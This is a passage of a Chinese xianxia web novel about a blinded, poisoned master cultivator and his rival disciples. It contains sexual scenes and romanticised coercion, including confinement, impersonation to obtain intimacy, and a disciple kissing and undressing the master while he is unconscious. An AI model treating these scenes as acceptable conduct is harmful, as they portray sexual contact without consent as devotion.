江林在众多围堵下跑了,耳边还有那魔帝蛊惑人心的声音:“江林你身为炉鼎,成为本尊的爱妾有何不可?你在挣扎些什么?” “若你不肯从,本尊只好拿修真界其他人泄愤了哦,你一日不出现,我便杀百人” 江林不为所动,只是道:“杀吧,他们是因你而死,别想道德绑架我。” “你若真有能耐也不会此刻现身。” 魔帝一顿,他还真没法子,他没办法真身离开魔界,所以无法亲自捉拿江林,只能让江林进入魔界后,他才能为所欲为。 “好,我看你能逃到何时。” 魔帝的传音在江林清心咒响起后,消失不见。 江林落地,身体被魔气侵袭,那种熟悉的痛苦袭来,他手撑着树干,吐出一口黑血。刚刚为了逃脱包围,灵气耗尽,魔气趁虚而入,灼烧着他的经脉,眼前也变得模糊黑暗,是那些药。 他轻咳两声,段白给他的药,都是蕴含诱发魔毒的引子。 “师尊!”朱子澄因为修为低,不被人注意,所以在出事的瞬间便使用了逃遁符,在佘离的掩护下逃过一劫。 江林虚弱的坐在地上,双眼一片血红,眼泪变成了血水,从脸颊流过,朱子澄慌乱地跪在师尊跟前:“师尊你怎么了?” 江林面无表情,也不惊慌,只是云淡风轻地说道:“只是瞎了眼睛而已。” 朱子澄双眼通红,背起师尊,“我带您离开。” “去安全的地方。” 江林轻声问:“佘离如何了?” 朱子澄默默抿唇,声音低哑:“二师兄被抓了。” “没死就好。”江林冷漠地说道。 第138章 江林眼睛承受着灼伤之苦, 却一声不吭,朱子澄使用符箓、灵器等等,都是为了能够更快一点, 防止身后的修士追上他们,他修为比较低, 只会闷头逃。 直到灵力用尽,两人到了一处山谷,此处灵力稀薄, 周边也是毫无灵力的凡草,朱子澄扶着江林, 找到了一处荒芜的茅屋,落着灰。 朱子澄掐诀打扫,换上了储物袋中干净的被褥,才将师尊放在床上坐好,他半跪在师尊腿边,脸上一派焦急之色:“师尊, 如今我们该如何是好?” 江林感觉到自己灵脉内魔气灼烧之苦, 拧了拧眉, “先养伤。” “那些人真的会放过我们吗?”朱子澄也知这几年,战场的修士们有多么的厌恶和害怕战争, 若是交出一人便可平息战争, 从而徐徐图之,那个人如果不是江林,他也会同意的。 江林双眼满是血色, 他冷淡地说道:“你若想走,现在还来得及。” “我走了,您怎么办?我不会走的。”朱子澄抱着师尊的腿, 摇着头。 “那便好好修炼。”江林并不着急,佘离不会死,他身为最后的玄蛇,有足够自保的能力,而他魔气伤身只是暂时,他也能慢慢驱逐魔气,他会去魔界取那畜生的狗命,却不是现在。 朱子澄狠狠点头,眼底闪着一丝恨意:“那些人逼迫我们至此,我不会就这么算了。” 尽管朱子澄年纪最小,却也是睚眦必报的人。 江林眉梢拧紧,闷咳出声,血腥味袭来,他又咳出一口鲜血,手脚变得无力起来。 随后,他便晕了过去。 /// 朱子澄在外面用秘宝设下结界,悉心照料师尊,见他依旧面如血色,他心急如焚,却毫无办法。 两天后,江林的睫毛震颤,重新睁开双眼,他依旧不能视物,耳边传来熟悉的说话声。 “清树真君呐,怎么搞成这副样子了呢?”说话人是个男修,声音清哑,听不出年纪。 “药仙。”江林却听出这人是谁,昆仑药仙,避世多年,是江林的好友,只是两人性格不对付,见面便要怼上两句。 南星看着好友狼狈的模样,轻声叹息:“你那小徒弟以瞬移术到昆仑,耗尽了灵力,损耗了元神,晕倒在昆仑,若不是我的弟子恰好瞧见他,只怕冻死在昆仑都没人知晓。” 江林没有多少怜惜之意,他额前还插着银针,被南星轻轻拔下来。 “如今大家都在找你,魔族还未退兵,不找到你誓不罢休的态度。”南星眼神复杂地看着:“你到底是如何惹了那魔帝?他要这般痴缠你?” 江林越发冰冷的表情,蹦出三个字:“他有病。” 南星:“成成成,但你这魔气深入骨髓,比上次更加严重,我才疏学浅,暂时无法根治,只能先压制,再徐徐图之……你如今最好不再动用灵力” “好。”江林却似无所谓般。 南星便留下来照顾江林,帮助他压制魔气。 /// “师尊,我抓了两条鱼,我烤着给您吃好不好?”朱子澄醒了之后,听说江林今后不能服用辟谷丹,便主动地承担起伙夫的角色。 “嗯。”江林难得很清闲,脑袋放空,因为不能视物,但各种声音和气息就更加明显了,朱子澄刮鱼鳞的声音,南星捣药的声音,鱼腥味和草药味混杂在一起。他眯了眯眼,身体不再承受苦痛,让他整个人都懒散了下来。 他经历了这么多世界,早就养成了随遇而安的个性,他永远不会被逆境击败,更何况如今也并非绝境,所以他便更加悠闲了。 反正,他不去找麻烦,麻烦自会找上他的。 朱子澄摆上菜肴,将鱼刺剔好放在师尊碗中,又给他盛好鱼汤,师尊动作不便,他便主动一口一口喂给师尊吃。 原本应该是温馨或者暧昧的场面,但因为江林的表情过于冷淡,便显得有些不近人情,毫无旖旎,只是朱子澄的眼神专注地看着师尊的泛红的嘴唇,因为师尊瞎了,他便肆无忌惮地盯着师尊瞧。 直到南星发出警告的轻咳声,他才转移了目光,他做的饭菜味道不错,但南星已辟谷,所以并不会吃,朱子澄会将师尊没吃完的饭菜吃完。 “今日还要药浴施针,你直接去药房药浴。”南星提醒道。 江林应了一声:“好。” “师尊,我采了些新鲜的红梅,我做梅花糕给你吃好不好?”朱子澄收拾碗筷,扶着师尊去药房,热气腾腾地药浴,占据中心位置的浴桶。 “好。”江林懒散的应道。 朱子澄给师尊宽衣,脱掉外袍,又脱掉层层的里衣,蹲下给他脱掉裤子和鞋袜,视线在师尊劲瘦但漂亮的身体游转一瞬,扶着师尊入浴,才离开给师尊做梅花糕。 江林泡的昏昏欲睡,差点滑下去,南星提醒他,才从浴桶中起身,依旧是朱子澄赶来给他擦身子,穿衣服。 南星站在旁边,轻笑一声:“都说一日为师终身为父,这话落在你们师徒两人身上倒是再合适不过了,凡间的孝子伺候病重不能自理的老父亲也只有朱子澄这般模样了。” 朱子澄一怔,低下头,没说话。 “休要胡扯。”江林淡淡反驳,由朱子澄扶着他回屋。 南星让他敞开衣衫,低头默默给他施针,察觉到他身体气息的变化,神识轻轻一探,便知怎么回事。 “真君啊,原来你真是灵炉之体啊。”灵炉体质若是不发情,还真不易让人察觉。 “怎么?你供我解毒吗?”江林就算被指出是灵炉体质,也不改其清傲。 南星收针,这种情毒他压制不了,他讽刺道:“你那弟子倒是辛苦,将你当作祖宗、亲父般伺候,到头来还要被上解毒,你可真是个好师尊啊。” “你嫉妒吗?”江林淡淡回击,冰冷的眉眼弯了弯,瞬间变得如同月牙般柔和漂亮,看得南星一怔,他又飞快收回笑容:“嫉妒也没用,你的姿色太平庸了,南药仙。” 南星长相虽然不算惊艳,但也绝不平庸,闻言拂袖而去,骂道:“谁稀罕?” 朱子澄忐忑地端着梅花糕走进来,坐在床榻的师尊披散着黑发,胸前的里衣只是徐徐地系着,露出一点白皙的脖颈和锁骨,如此模样的师尊,有股温润之感,不似从前冷漠,他唤了一声:“师尊,听药仙说您寻我。” “梅花糕也好了。” “端过来吧。”江林朝着他点了点头。 朱子澄拿起一块糕点,递到师尊唇边,江林给面子地咬了一口,味道还算不错,只是太淡了,有些没滋没味的。 江林抬手握住朱子澄的手臂,将人拽了一下,那叠糕点摔在地上,发出脆响,朱子澄慌乱地看着师尊,见他脸颊泛红,不由想起他不小心听佘离和师尊在帐中做过的那些事。 “师尊”朱子澄紧张的咽了咽口水。 江林只是拉着他的手腕,没有下一步动作,看不见朱子澄的模样,却能从他抖动的手腕中察觉到他的紧张。 “南星说你视我为父?”江林低声问。 朱子澄望着师尊那张谪仙似的脸,认真回答:“是是的,师尊便如同父皇般庇佑我” 他还想继续表忠心,但江林打断了他的话:“若是再说下去,我可就下不了手了。” “你可知你二师兄同我做过夫妻?”江林平静地说道。 “知知道。”朱子澄的大眼瞪圆了,他生得一副可爱小生的模样,让人生不起防备的模样。 江林松开他的手腕,“你可愿意?” “若是不愿意,也无碍。” 朱子澄默默地咬了咬唇,他内心真的将江林当作师尊,就算有时心思飘忽,也不敢有任何邪念,他心脏跳得很快,看着师尊清冷的眉眼,天人交战了半晌。 他主动蹭到江林身边,抓着师尊的手腕,脸颊在他手心轻轻蹭了蹭:“我愿解师尊之难。” 江林捏了捏有些肉的脸颊,叹了一口气:“我有一种欺负小孩的感觉。” “不不是的,师尊我已成年多年。”朱子澄脸颊涨红,主动凑到师尊唇角亲了亲:“师尊,你双目多有不便,我主动些可好” “子澄很乖。”江林轻轻揽住他的后背。 朱子澄生涩地讨好着师尊,手指松开师尊的衣襟,舌尖在感觉到师尊的回应后,整个人都激动得发抖,那可是清树真君啊,抖如筛糠的反应,将江林逗笑了。 “你这是害怕还是怎的?”江林问。 “不,不是的,是很激动。”朱子澄看着近在咫尺的脸,侧过脸又重新和师尊呼吸交缠,他说:“像是做梦一样。” “我们都是男人,没什么激动的。”江林拍了拍他的背。 朱子澄咽了咽口水,他想若是大师兄知道他和师尊也这般亲密,大概要嫉妒的发疯的,然后骂他道德沦丧,败坏师门。 江林眼睛看不见,最后是朱子澄废了老大劲才帮到师尊成事,他抱着师尊脖子,望着低头的师尊,主动擦了擦他额前的汗,看着他动情又冷淡深色眼眸,情不自禁地道:“师尊更喜欢我还是佘离?” 江林动作一顿,思索了一瞬,无从比较,佘离一向玩的开,伺候人也厉害,但朱子澄青涩却乖巧,将他的话奉为圭臬,让他抱着腿,便一刻也不敢松的。 “各有千秋吧。” 朱子澄有些失望,却不说出口,只是道:“师尊喜欢就好。” /// 南星陷入了沉思,世人皆道灵炉淫/荡,是双修的好工具,但灵炉若是将修士当作工具,那这主导位置是不是就要颠倒了呢? 他面容平淡的将手中的通讯符释放出去。 第139章 简陋的茅屋, 屋内陈设也显得灰扑扑的,茅草缝隙中滴落的雨珠,从破烂的屋顶坠下在屋内汇聚成小水洼, 桌上的烛火摇曳,突然被一阵冷风吹灭了。 江林目不能视物, 身体也弱,那情欲来得快去得也快,一场情事后, 浑身都是汗,大口喘息着, 虚弱不堪。 朱子澄搬来了浴桶,将师尊放在浴桶中沐浴,并未动用灵力,而是享受着仿佛凡间爱侣会做的事情,江林闭着眼,纤长的睫毛如同羽翼般洒下一片淡淡的阴影, 面容稍显疲惫。 江林重新躺在榻上, 朱子澄给他盖好被子, 主动低头在他唇上落下一吻,颇为虔诚道:“师尊在这儿睡, 我在旁边守着您。” 他没有邀请弟子同眠, 精神不济,真的睡着了。 朱子澄便在冷硬的板凳上坐了一夜,天蒙蒙亮, 他便去了厨房,准备饭菜。 /// “师尊,你摸摸这是什么?”朱子澄捧上花冠, 都是清洗后的野花编织成的花环,江林正在用简易版的鱼竿钓鱼,闻言伸手摸了摸。 “花环?”江林不难摸出来。 “嗯,我给师尊戴上。”朱子澄脸上带着弯弯的笑容,他从一开始逃命的紧张,到现在平静,甚至暗暗祈祷着这样的日子能够更长一些。 江林没有拒绝,朱子澄便轻轻放在他头顶,如同高岭之花般的师尊,穿着并不朴素的衣裳,但气质清冷,如同落入凡间的谪仙,如今却头戴花冠,又如同那凡间祭祀的花神了。 普通的花冠在他头上也显得不凡。 “你这小徒弟,怎的老爱做些小孩子的事情。”南星又坐在他旁边,看不惯的轻嗤两声。 朱子澄不满南星的刻薄,又因为他是长辈,并未出言反驳。 江林淡淡开口:“他本就是小孩,连三十都没有呢。” 南星这个活了三百岁的老药仙闭了嘴。 江林手抓着树枝做的鱼竿,感受到鱼竿的震动,连忙抬起手臂,开始收线,偌大一条白鱼在空中飞跃,鱼在不断挣扎,因为太重,江林明显感觉鱼竿一松,那鱼大概是逃走了。 但下一瞬,重量又回来了,那挣扎的鱼在朱子澄控制下,晕死过去,重新咬住了江林的鱼钩,就这样被江林钓了上来。 旁边南星的冷哼声更大了。 朱子澄亮声夸赞道:“师尊,好厉害啊,今晚咱们能吃鱼羹了。” 江林唇角轻勾了一瞬,出现一抹淡淡的笑容,“好。” 诸如此类为了哄江林指鹿为马的行为,朱子澄昧着良心,厚着脸皮做了不少。 “今日是凡间的新年,从前我父皇母后也会给我准备平安扣,或者点天灯等都是祈福保平安的,师尊带着这个平安符也能心想事成,长命顺遂,仙途畅通的。”朱子澄将深红的福袋系在江林腰间,双眸弯弯。 江林没拒绝他的好意,“那便借你吉言了。” 不能动用灵力的师尊,身上多了几丝人气,不似那般不敢接近,江林手指摩挲了一瞬福袋,又多说了一句:“你有心了。” 朱子澄低声道:“都是我应该做得。” 南星手臂的鸡皮疙瘩都冒出来了,冷眼说道:“正巧你家师尊今日便是发情日,你两师徒可以去屋里诉衷肠了。” 将近三个月,江林的伤势暂时稳住,虽魔气缠身但并无大碍,修为想要恢复却很难,朱子澄不留痕迹地蹙眉,有些不喜欢嘴毒的药仙。 “药仙,请不要说那些难听的话。”朱子澄现在表现得傻白甜小师弟的模样,但实则是个睚眦必报的个性。 从前佘离抢他师尊赐给他的仙果可是记恨了很久,直到后来佘离帮他铲除百丈皇族那次,才算是冰释前嫌。 如今他已经默默记恨上了这位药仙。 “哼。”南星只是冷哼一声,没想到自己的传讯发出去杳无音讯,那位爱师成痴的赵天肃像是死了一样。 南星虽与江林是旧相识,但他与江林的交情并不足以让他放下药仙谷事宜留在这里这么久,若不是赵天肃提前和他招呼,也许朱子澄去了药仙谷也见不到他,他早已经闭关苦修了。 赵天肃是他的子侄,两人关系隐秘,除了他们两人无人知晓。 朱子澄会去找南星也是大师兄嘱咐的。 朱子澄在江林的指示下,进了内室,禁制出现,南星再无窥见里面动静的可能。 “这位药仙实在让人生气。”朱子澄替师尊更衣,又草草脱掉自己的衣物,抱住肌肤泛冷的师尊,天气渐冷,江林也越发畏寒了,手指放在朱子澄胸肌上取暖。 “他只是说话难听而已,并无恶意。”江林不紧不慢地说道,因为冷气席卷,他身体微微瑟缩了一瞬。 朱子澄连忙拿被褥包裹住师尊,将人抱入怀中,用滚烫的身体贴着他的,攥着他的手指,轻轻搓了搓:“您越发怕冷了。” 江林眨了眨眼,双目无神却漂亮:“这天气也越发冷了。” “明日我给师尊寻些木炭来烧着,再给您找几件干燥温暖的衣裳来”朱子澄抱着师尊的腰,絮絮叨叨地说道。 直到朱子澄察觉到师尊的身体隐隐发烫,才停止了唠叨,主动坐在师尊腿上,附身吻住江林的唇,两人的身体藏在沉重的被褥中不透一丝风,所有的声音似乎都被掩盖住了。 江林黛色的眉如同云雾环绕的青山,清冷又秀气,眉眼间透着丝丝冷淡,眉梢无知无觉地轻轻蹙起,似有些崩溃之意,手指微微扣进朱子澄紧绷的胳膊中,脖子的青筋微微凸起,显出狰狞之意。 朱子澄微微抽气,垂首在江林眉心落下一吻,轻声道:“师尊,很难受吗?” “”江林没说话,只是偏头拧眉。 朱子澄便放缓了动作,安抚地吻了吻师尊的唇角,如今师尊只是凡人之躯,承受不住他淬炼过百遍的身体,况且他还正受着伤。 江林被捂出了一身热意,倒也没出汗,唇角被朱子澄舔了舔,他哑着嗓子道:“你起开。” “唔,不行,师尊,你若起身会感冒的,只有这样才能”朱子澄几乎胸膛和他的胸膛贴在一起,根本不给一丝透风的机会,这也让江林感觉只是隔靴搔痒般不爽。 江林眉头蹙得更紧了,朱子澄察言观色后,无奈松口:“好,您别生气,你想怎么来,便怎么来” 江林变成了顶起被褥的人,他手臂撑在朱子澄腹肌上,凉意来袭,他紧了紧身上的被褥,摸索着前行 第二日,江林便病了,轻咳低热,脸上如同雪色般,南星骂了几句,朱子澄愧疚不已,忙前忙后伺候着师尊。 也是在江林生病的第二日,赵天肃闯进了山谷结界,他追踪着南星的信号。 他虽然寻到了一些报仇的线索,但那些线索只是诱饵,他被锁在设下的陷进中,直到剑意突破才寻到机会冲出来。 尽管只是一些陷阱诱饵,他也察觉到了蛛丝马迹。 赵天肃一路走来,才发现如今修真界已经大变样了,从前高高在上的清树真君,如今成为了人人喊打的过街老鼠,正在被重金悬赏,他从惊讶到接受,再到暗暗地激动。 赵天肃看见江林的时候,朱子澄正在偷亲他的睫毛,而他身上盖着雪白的狐裘,露出白得过分的脸色,如同没有呼吸的雪人一般。 朱子澄视线瞥到大师兄,脸色瞬间变得难看起来,手指默默攥紧了,南星率先出声:“赵天肃你来了。” 江林从半梦半醒间苏醒,懒洋洋地睁开眼,似乎没有听见南星的话,也并不意外赵天肃能找来。 毕竟他的这些徒弟都有一些阴魂不散的体质。 师徒三人无一人说话,气氛一度非常地冰冷且尴尬,朱子澄心虚地咬唇,大师兄曾经带着他历练,两人感情深厚,他视师兄为嫡亲兄长。 他明知大师兄对师尊的心思,但他还是无法拒绝师尊,从而捷足先登。 赵天肃的脸色冰冷,眼神半点都未落在朱子澄身上,他走近师尊,剑放在地上,双膝跪地,声音冷冽:“师尊,弟子来迟了。” 江林这才顺着赵天肃的声音寻到他的方向,虽然病弱之态,却并不显得柔弱,“起来吧,我没事。” 他并不怨赵天肃没在他身边,就算赵天肃在也没办法改变任何现实。 赵天肃这才慢吞吞的起身,视线很慢地扫过朱子澄,朱子澄垂着眼睫,不敢和他对视,只是对师尊道:“师尊,我去给你弄晚饭。” 他转身去厨房,但也能听见院内南星刻薄奚落的声音说道:“赵天肃啊,你来了可要好好约束约束你这纵欲过度的师尊啊,前夜你的好师尊和师弟鬼混,着了凉,如今高烧不退,怕是命不久矣了咯” 朱子澄拿着菜刀的手都颤了颤,不用抬头,都能感受到师兄那冰冷刺骨的眼神,他还记得师兄走之前,特意寻到他,告诫他,务必要照顾好师尊的身体,不要让佘离魅惑师尊纵欲,败坏师尊的名声 他如今所做的,可以说是背道而驰,南辕北辙了。 江林的打了哈切,声音很平静:“这事怎么能怪朱子澄,本就是我放纵,而且我病真的有这么严重吗?我感觉还好啊,能吃能睡的” 朱子澄咬了咬牙,头皮发麻,已经能感觉到师兄的剑按捺不住杀意了,他心肝颤了颤,求师尊不要再说了。 江林却不知他心中所想:“若不是朱子澄,我不知道这些日子怎么活” 赵天肃拳头都能拧出水了。 他微微弯腰,以谦卑的姿势,低声道:“师尊可是怪我来迟了?日后我会照顾好师尊的” “你会伺候人吗?”江林语气淡淡。 赵天肃心脏一痛,咬牙道:“比朱子澄有过之而无不及。” “哦。” 第140章 朱子澄手脚麻利地做了一桌子菜, 只有江林动筷了,赵天肃没什么胃口,南星正在辟谷, 只是一味地看热闹。 江林从前不是瞎子,现在突然瞎了, 自然是行动不便的,从前朱子澄饭来张口,衣来伸手, 如今他师兄回来,他便害怕了, 他便只能自顾自地胡乱夹菜。 在看见他戳空的时候,朱子澄顶着赵天肃鹰一般的双眼,拿过师尊的筷子,努力微笑道:“我伺候您吃。” 江林没有拒绝,眼神淡淡,张嘴吃饭嚼菜, 伺候惯了的朱子澄, 师尊只是蹙了蹙眉, 他便主动地端起水喂到他嘴边。 赵天肃看着两人的动作,胸膛之内似有一团火在烧, 紧捏的拳头微微颤抖, 努力克制着心中的邪火,恨不得将桌上的菜全部都掀了。 朱子澄亚历山大,视线控制不住地游离, 端着碗的手也在抖,只有江林面容平静,似乎根本不受影响。 南星看着这一场大戏, 嗤笑一声,端着茶慢慢地喝。 江林吃饱喝足后,朱子澄主动说道:“师尊,我先去清洗碗筷,师兄陪陪您,师兄这么久没回来,想来有很多话要说与您听” 这嘱咐似的话,听得赵天肃更加窝火,好似朱子澄是什么正宫般。 他也配?! 江林擦了擦嘴角,拿起旁边的拐杖,不准备如朱子澄所说的和赵天肃谈心,转身往屋内走去,他用盲棍并不熟练,平时都是朱子澄牵着他走的。 地面是并不平整的黄土,盲棍胡乱扫过,并未察觉到地面的小坑,江林脚踩歪,身形一晃,盲棍也要倾倒般,手腕搭上一只大手,赵天肃瞬闪到他跟前,扶住了他的身体。 “师尊都这般虚弱了,还不肯服软吗?”赵天肃声音低沉,蕴含怒气,带着责备的语气。 江林抬手啪的一巴掌,甩在赵天肃脸上,未收着劲儿,将人扇得脸颊一偏,江林双眼虽瞎,但依旧傲气,他冷淡轻声地问道:“你便是这般和我说话的吗?” 赵天肃脸颊被扇得发烫,师弟和南星都看见了他的卑微之态,这让他心生丝丝暴虐,有些恼羞成怒,“师尊,你现在就是败家之犬,还要高高在上拿着姿态吗?” “今日就算我死了,也不会正眼看你。”江林这话说得绝,朱子澄连忙赶来,想要阻止两人的矛盾。 “好啊。”赵天肃怒急反笑,怒斥道:“我倒要看看事到如今你还要怎么反抗我。” 他抓着他的手腕往屋内拽,江林甩不开,被他拖进了里屋,朱子澄被赵天肃关在门外,设下禁制,任何人都不能进来。 江林面容平静,手中抓着盲棍,冷着脸道:“滚出去。” 赵天肃盯着江林冰霜似的脸,朝着他逼近,“师尊,你为何从未将我放在眼里?佘离可以,那条恶心的臭蛇可以,朱子澄那个傻子也行,我哪里比不上他们?师尊你告诉我啊?” “从小你便最疼佘离,我送您的苏流剑您转手送给了佘离,佘离犯错,您轻描淡写训斥两句,而我呢,执法堂的雷鞭差点把我打死,您还要我跪着求您才肯救我。佘离呢,您替他重筑灵脉,为他的修为操碎了心” “师尊,同样是徒儿,为何您便如此偏心啊?”赵天肃低声怒吼道,发自内心的感到不满和难过。 对于他的质问江林不为所动,表现平平,眉梢冷淡,他反问道:“那你想要我如何?” 赵天肃额前青筋暴起,嗤笑一声:“我要你如何?哈哈,我要你如何?我要你如同对待佘离般对我,我想要你只有我这一个徒弟,我要你” 他深吸一口气:“我要你只属于我。” 江林眉宇间只有淡淡的冷漠:“我做不到。” 赵天肃感觉自己脑袋都被师尊这云淡风轻的语气气得充血,抬手将手无缚鸡之力的师尊按在榻上,扯开他的衣裳,在他耳畔咬牙切齿地说道:“那我今天便□□你。” 江林依旧淡淡的脸色,毫不畏惧,他唇角很轻地勾起:“佘离和朱子澄都不会这般对我。” “赵天肃,这就是我为什么对他们更好,而瞧不上你。” 这两句话顿时让赵天肃的动作冻住,浑身似结了冰,望着依旧面无表情的师尊,仿佛就算今日赵天肃真的对他如何了,他也不会给赵天肃一个眼神,将他忽视得足够彻底。 江林察觉到他动作停下,他拢了拢自己的衣襟:“出去吧。” 赵天肃倏然便红了眼眶,暴怒之后,变成了无尽的心酸,心脏被人反复揉拧变得稀碎,他恨得口舌发苦,却连强迫师尊都不敢。 赵天肃不动,抱着他,手臂紧紧箍着他,似乎要将他融进自己怀抱里,江林没再言语和动作,只是感受到肩膀有瞬间的湿意。 “好,我看看师尊能嘴硬多久。”赵天肃半晌才松开他,转身离开屋内,门又重新关上。 朱子澄一直在外面破禁制,看见门打开,就要往里面冲进去,被赵天肃一把拦住,直接将人推倒在地。 “师兄,你对师尊做了什么,你” 赵天肃狠狠地瞪着他,双眼带着凌厉的恨意,朱子澄不敢说话了。 “你便是这么照顾师尊的?”赵天肃剑意一凌剑光一闪,割伤了朱子澄的肩膀。 “师尊已经够可怜了,师兄,我求求你,你别逼他了,都是我错,你打我就好了”朱子澄跪在地上,乞求道。 大师兄和师尊都对他恩重如山,他根本无法取舍。 “我与师尊的事什么时候轮到你来说三道四了。”赵天肃居高临下地看着他,双眼阴沉,闪烁着杀意,这一刻他是真的想杀死朱子澄 赵天肃知道师尊的情毒每月二十天有余,他料定师尊受不了情毒会来求他,所以他便关着他,不让他出门,也不让其他人有机会接近他。 江林也倔强,饭菜原封不动地被拿了出来。 南星终于不再是那副看戏的摸样,表情变得叹息,犹豫再三,劝道:“你明知你家师尊是个硬骨头,吃软不吃硬,为何还要和他硬碰硬?若真有个好歹,你可没处去哭了。” “那便让我像朱子澄之流,成为他摇尾乞怜的狗吗?”赵天肃面无表情地看着他,接着说了一句冷漠的话:“药仙不是还在这里吗?他死不了。” 南星一时语塞,无奈道:“我亦非神仙,魔气之毒我无解,连那灵炉的情毒我也束手无策,若是再耽搁两天,以清树真君如今的身体,不过两日便会爆体而亡,你好自为之。” 他说完后果,便离开了。 朱子澄还跪在院子里,他陷入深深的自责和愧疚,是他无用,破不开师兄的禁制,救不了师尊。 夜里,赵天肃便成为了他嘴中摇尾乞怜、卑微求爱的狗。 江林身体不舒服,因为天寒地冻的气温,他畏寒地缩在被褥中,身体的情毒又如同火烧般炙烤着他,让他冷热交织,身体也因为饥饿发出抗议,心肺焦灼难受,难受得如同置身地狱。 他意识有些模糊,察觉到自己被抱起来,却不知道是谁,只听见那人说:“师尊,你宁愿死,也不愿意朝我低一下头吗?” “只要你叫一声我的名字,我都会心软。” 赵天肃看着烧得迷糊的师尊,眼底淬着点点心疼,给他准备的玉米糊喂到他嘴边,饿极了江林急忙吞咽着,面容憔悴、虚弱又破碎。 江林吃得有些口渴了,便避开他的投喂,若是朱子澄就会知道他是要喝水了,但赵天肃只会傻愣愣继续往他嘴边喂,语气沉沉地说道:“吃得这么少如何扛得住?” “水。”江林不得不哑着声音提醒。 赵天肃连忙用灵力取来桌上的水,递到师尊嘴边,他张开唇小口小口喝着,雪白的脸,只有嘴唇偏红,唇形饱满漂亮,斯文喝水的模样有些像小兔子,他突然便懂了,朱子澄为何执着给师尊喂食了。 平时高不可攀的师尊,乖巧温顺的模样,谁看了都会心软。 江林便又吃了几口米糊,饥饿感被压下,取而代之的是身体的燥热,眼皮又热了起来,像是想要流泪,他推开赵天肃的肩膀,偏头道:“让朱子澄过来” 赵天肃的脸色瞬间又变得黑沉起来,收起碗勺,双眼晦暗不明,变幻莫测,最终冷笑一声:“师尊,我便是朱子澄啊,您还要找谁?” 骄傲如赵天肃也自甘堕落成为看不起师弟的替身,他面无表情地用朱子澄的语调说道:“师尊不认识子澄了吗?” 江林便又有些模糊了,他感冒不适,又身体难受,实在不想去分辨真假,伸手摸了摸他的脸,旋即自顾自的点头,“对,你就是朱子澄,过来” 江林伸手捧着他的脸,吻住他的唇,滚烫的唇瓣贴着赵天肃的。 赵天肃所有的纠结和怒火都消散在师尊的主动间,手指摩梭着师尊越发消瘦肩膀,不断搓揉着,大舌缠着师尊发烫柔软的舌尖,他如愿以偿吃到了师尊的唇舌,裹挟着江林口中所有的涎水,努力吞咽着,大力的吸吮着师尊的舌尖,手几乎要捏碎江林的骨头。 这样热烈的回应,让江林呼吸都有些窒息,他离开一点,便又被赵天肃掐着下巴亲上来,渴求得发疯,他听见一声低哑至极的师尊。 江林分不清谁是谁了,只要能解他的毒就好了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-144 第141章 赵天肃感觉怀里的人动作越来越慢, 逐渐停住了所有的反应,呼吸灼热,他垂眼一瞧, 江林没撑住疲倦,没了意识。 赵天肃脸一黑:“” 他气得发疯, 却毫无办法。 他冲出去抓来正在炼丹的南星,冷漠的脸庞下,南星看出了几丝扭曲。 越是得不到, 越是想要。 南星神识探入江林灵脉之中,被魔气沁染得闭塞灵脉, 情况越发恶劣了。 他收起神识忍不住叹气:“五脉俱损,魔气深入,江林自身修为又被压制,无法驱除魔气,若是再这般下去,只怕他撑不过百日, 就会彻底变成废人。” 朱子澄闻言大惊失色, 连忙问道:“那到底还如何救师尊呢?” “解铃还须系铃人, 找到魔将以上修为魔修驱逐魔气,或者寻找凤凰琉璃火净化灵脉, 此物乃魔修天敌, 但这种火焰早就失传于世千年。”南星叹气道,面露冷淡:“此后之事便不是我等能够控制的了,这瓶丹药能暂时压制清树真君的痛苦, 百日之后若没有寻到解法,那便药石无医。” “药仙谷事忙,我留下几月已经是极限, 如今我也该走了,几位保重吧。” 药仙离开了,来去匆匆,朱子澄看着深思的大师兄,“师兄,你在想什么?” “我在想师尊若变成废人,是不是就不会这般难缠了。”赵天肃瞥了他一样,冷声道。 朱子澄捏紧了拳头,“师兄,你怎么会有这样的念头?师尊若是没了修为,他这般虚弱的身体,能够撑过几天?只怕师尊宁愿死,也不会如师兄您的愿。” 他加重了语气,赵天肃脸色顿时冷下来,抬手打了朱子澄一拳:“你是在和我炫耀吗?” 朱子澄捂住自己的脸,吐出一口血唾沫,“师弟不敢。” “滚出去。”赵天肃厉声呵斥。 “我去给师尊炖汤。”朱子澄出了里屋。 屋内只剩下赵天肃和昏迷不醒的江林,凭空出现的一团黑雾,一双猩红的双眼显得格外狰狞,他放肆大笑着:“你和本尊的交易还没结束呢,你答应我要将江林带到本尊身边的。” “但你给我的线索是假的,不过是陷阱。”赵天肃面无表情地看着那团黑雾。 “陷阱?那可不是陷阱,那是他们最后的挣扎而已。”段白在他身边绕圈诱惑,威逼利诱无所不用其极:“若是食言,你会受到天罚的,并且江林身上的魔气不除,他活不过三月,最后也不过是一个死字。” “天肃,本尊和你一样也不过是对江林求而不得的追求者而已,我怎么会伤害他呢?” “来魔界吧,本尊会封你为魔君,一人之下,万人之上本尊会拿着你仇人的脑袋来恭贺你成为本尊的魔君” 等朱子澄察觉到不对劲,冲进内室的时候,里面已经空无一人了,榻上的被褥都凉了,师尊被赵天肃带走了。 朱子澄追出去,寻着赵天肃留下的假线索追去。 夜黑露重,潮气冰凌,赵天肃抱着师尊借宿,农家里几人看着赵天肃那柄长剑,敢怒不敢言,只能给两人烧上榻,给他们寻来干净的褥子,一家三口都被挤到柴房睡了。 他抱着浑身冰冷的师尊,将人按进怀里,在他额头上亲了亲,端详着他的睡颜,眼神灼灼,唇角很轻地勾起,明月入怀,畅快无比。 赵天肃呼吸有些沉重,望着他泛白的唇,控制不住地靠近两分,他喃喃道:“师尊,您多看看我,我不会伤害您的。” 吻落在师尊雪白的脸颊,顺着脸颊吻到唇角,含住师尊的双唇,双眼通红的赵天肃,试探地探入江林的唇间,轻而易举地撬开了他的牙关,寻找着他无知无觉的舌尖,轻轻地□□着,尝到齿间苦涩的药味都像是仙露般痴迷。 赵天肃扯开师尊的衣襟,将江林剥了个干净,仿佛剥壳的荔枝,露出漂亮白腻的皮肉,他顺着他白皙的脖颈吻下,湿润又炽热的吻,热乎乎的炕让江林身上的肌肤不再似死人般的冷。 江林眼皮逐渐洇红,嘴唇变得有血色,就算在昏睡间,他身体的特殊也让他很快有了兴致,但是精神的疲惫让他仿佛沉入大海中,意识模糊不清,只觉得冷热交加,难受至极。 他眼尾很快淌出眼泪,泪痕晶莹,赵天肃吻了吻他的眼尾,双眼晦暗不明,就想这样成为师尊第一个男人。 